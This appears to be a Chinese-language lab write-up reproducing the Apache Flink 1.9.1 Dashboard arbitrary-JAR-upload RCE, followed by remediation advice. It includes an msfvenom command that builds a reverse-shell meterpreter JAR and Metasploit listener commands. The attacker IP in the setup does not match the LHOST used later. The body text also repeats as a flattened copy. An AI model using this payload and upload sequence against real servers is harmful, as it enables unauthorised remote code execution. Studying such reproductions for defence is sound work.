Apache Flink 任意 Jar 包上传导致RCE漏洞
字数 1060 2025-08-18 11:39:08

Apache Flink 任意Jar包上传导致RCE漏洞分析与复现

漏洞概述

Apache Flink是一个分布式大数据处理引擎,可对有限数据流和无限数据流进行有状态计算。该漏洞存在于Apache Flink Dashboard页面中,攻击者可以上传任意Jar包,利用此漏洞在Apache Flink服务器中执行任意代码,获取服务器最高权限。

漏洞影响

  • 影响版本:Apache Flink 1.9.1及之前版本
  • 漏洞类型:远程代码执行(RCE)
  • 危害等级:高危

环境搭建

测试环境配置

  • 攻击机:Kali Linux (192.168.16.128)
  • 靶机:Ubuntu (192.168.19.129)
  • 漏洞软件:Apache Flink 1.9.1

安装步骤

  1. 安装Java 8+环境(Flink依赖)
  2. 下载Apache Flink 1.9.1:
    wget http://mirrors.tuna.tsinghua.edu.cn/apache/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
    
  3. 解压安装包:
    tar -zxvf flink-1.9.1-bin-scala_2.11.tgz
    
  4. 启动Flink:
    cd flink-1.9.1/bin
    ./start-cluster.sh
    
  5. 验证启动:访问http://靶机IP:8081,应能看到Flink Dashboard页面

漏洞复现

1. 生成恶意Jar包

使用Metasploit生成反向连接的Jar木马:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.19.128 LPORT=8888 -f jar > shell.jar

2. 设置Metasploit监听

msfconsole
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.19.128
set LPORT 8888
exploit

3. 上传恶意Jar包

  1. 访问Flink Dashboard (http://靶机IP:8081)
  2. 点击"Submit New Job" → "Add New"
  3. 选择生成的shell.jar文件并上传
  4. 点击"Submit"按钮执行

4. 获取Shell

成功执行后,Metasploit将获得一个meterpreter会话,可执行任意系统命令。

漏洞原理

Apache Flink Dashboard未对上传的Jar包进行有效验证,导致攻击者可以上传包含恶意代码的Jar文件。当这些Jar包被提交执行时,其中的恶意代码将在服务器上执行,从而实现远程代码执行。

修复建议

  1. 身份验证:为Flink Dashboard设置登录验证
  2. 文件校验
    • 对上传的Jar包内容进行严格校验
    • 实现前端和后端的双重验证机制
  3. 版本升级:升级到官方发布的最新安全版本
  4. 网络隔离:将Flink服务部署在内网环境,限制外部访问
  5. 权限控制:运行Flink服务的用户应使用最小权限原则

补充说明

  • 该漏洞利用不需要任何身份验证
  • 攻击成功后获取的是运行Flink服务的用户权限(通常为系统最高权限)
  • 该漏洞利用简单,危害性大,建议尽快修复

参考链接

  • 官方安全公告:建议查看Apache Flink官方发布的安全公告
  • 漏洞披露时间:2019年11月
Apache Flink 任意Jar包上传导致RCE漏洞分析与复现 漏洞概述 Apache Flink是一个分布式大数据处理引擎,可对有限数据流和无限数据流进行有状态计算。该漏洞存在于Apache Flink Dashboard页面中,攻击者可以上传任意Jar包,利用此漏洞在Apache Flink服务器中执行任意代码,获取服务器最高权限。 漏洞影响 影响版本:Apache Flink 1.9.1及之前版本 漏洞类型:远程代码执行(RCE) 危害等级:高危 环境搭建 测试环境配置 攻击机:Kali Linux (192.168.16.128) 靶机:Ubuntu (192.168.19.129) 漏洞软件:Apache Flink 1.9.1 安装步骤 安装Java 8+环境(Flink依赖) 下载Apache Flink 1.9.1: 解压安装包: 启动Flink: 验证启动:访问 http://靶机IP:8081 ,应能看到Flink Dashboard页面 漏洞复现 1. 生成恶意Jar包 使用Metasploit生成反向连接的Jar木马: 2. 设置Metasploit监听 3. 上传恶意Jar包 访问Flink Dashboard ( http://靶机IP:8081 ) 点击"Submit New Job" → "Add New" 选择生成的shell.jar文件并上传 点击"Submit"按钮执行 4. 获取Shell 成功执行后,Metasploit将获得一个meterpreter会话,可执行任意系统命令。 漏洞原理 Apache Flink Dashboard未对上传的Jar包进行有效验证,导致攻击者可以上传包含恶意代码的Jar文件。当这些Jar包被提交执行时,其中的恶意代码将在服务器上执行,从而实现远程代码执行。 修复建议 身份验证 :为Flink Dashboard设置登录验证 文件校验 : 对上传的Jar包内容进行严格校验 实现前端和后端的双重验证机制 版本升级 :升级到官方发布的最新安全版本 网络隔离 :将Flink服务部署在内网环境,限制外部访问 权限控制 :运行Flink服务的用户应使用最小权限原则 补充说明 该漏洞利用不需要任何身份验证 攻击成功后获取的是运行Flink服务的用户权限(通常为系统最高权限) 该漏洞利用简单,危害性大,建议尽快修复 参考链接 官方安全公告:建议查看Apache Flink官方发布的安全公告 漏洞披露时间:2019年11月